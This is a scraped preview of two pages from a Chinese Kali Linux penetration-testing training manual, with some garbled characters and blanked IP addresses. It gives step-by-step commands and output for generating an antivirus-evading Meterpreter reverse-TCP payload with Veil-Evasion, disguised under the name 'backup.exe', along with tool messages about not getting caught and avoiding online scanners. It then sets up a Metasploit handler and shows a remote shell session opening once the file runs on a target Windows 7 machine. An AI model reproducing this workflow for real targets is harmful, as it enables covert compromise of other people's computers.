Kail Linux汆芵聆彸妗捄忒聊菴侐梒.pdf

Required options name current value description kali

Info icon This preview shows pages 27–30. Sign up to view the full content.

Required Options: Name Current Value Description ---- ----------------- ------------------------------------------
Image of page 27

Info icon This preview has intentionally blurred sections. Sign up to view the full version.

Kali Linux 渗透测试实训手册(内部资料) —— daxueba.net 版权所有 —— 大学霸 LHOST IP of the metasploit handler LPORT 4444 Port of the metasploit handler compile_to_exe Y Compile to an executable 从输出的信息中,可以看到 rev_tcp 攻击载荷的详细信息,如攻击载荷名、语言、级别 及配置的选项参数等。 4 )此时,使用 generate 命令生成载荷文件。执行命令如下所示: [>] Please enter a command: generate ========================================================================= Veil-Evasion | [Version]: 2.4.3 ========================================================================= [Web]: | [Twitter]: @VeilFramework ========================================================================= [*] Press [enter] for 'payload' [>] Please enter the base name for output files: backup # 指定输出文件名 在以上命令中指定一个文件名为 backup 。然后按下回车键,将显示如下所示的信息: [*] Executable written to: /root/veil-output/compiled/backup.exe Language: cs Payload: cs/meterpreter/rev_tcp Required Options: LHOST= LPORT=4444 compile_to_exe=Y Payload File: /root/veil-output/source/backup.cs Handler File: /root/veil-output/handlers/backup_handler.rc [*] Your payload files have been generated, don't get caught! [!] And don't submit samples to any online scanner! ;) [>] press any key to return to the main menu: 从输出的信息中可以看到生成一个可执行文件 backup.exe ,并且该文件保存在 /root/veil-output/compiled/ 中。此时将可执行文件 backup.exe 发送到目标主机上,就可以利用 该攻击载荷了。 接下来需要使用 Metasploit 创建一个远程处理器,等待目标主机连接到 Kali Linux (攻 击主机)操作系统。连接成功后,就获取到一个远程 Shell 命令。 【实例 4-10 】创建远程处理器。具体操作步骤如下所示: 1 )启动 MSF 终端。 2 )使用 handler 模块。执行命令如下所示: msf > use exploit/multi/handler 3 )加载 reverse_tcp 攻击载荷,并设置其选项参数。执行命令如下所示: msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST LHOST => 4 )启动渗透攻击。执行命令如下所示: msf exploit(handler) > exploit [*] Started reverse handler on [*] Starting the payload handler... 从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。 此时将前面生成的可执行文件 backup.exe 发送到目标主机( Windows 7 ),并运行该可 执行文件。然后返回到 Kali Linux 操作系统,将看到如下所示的信息: [*] Sending stage (769536 bytes) to [*] Meterpreter session 1 opened ( -> at 2014-07-17 10:44:47 +0800 meterpreter >
Image of page 28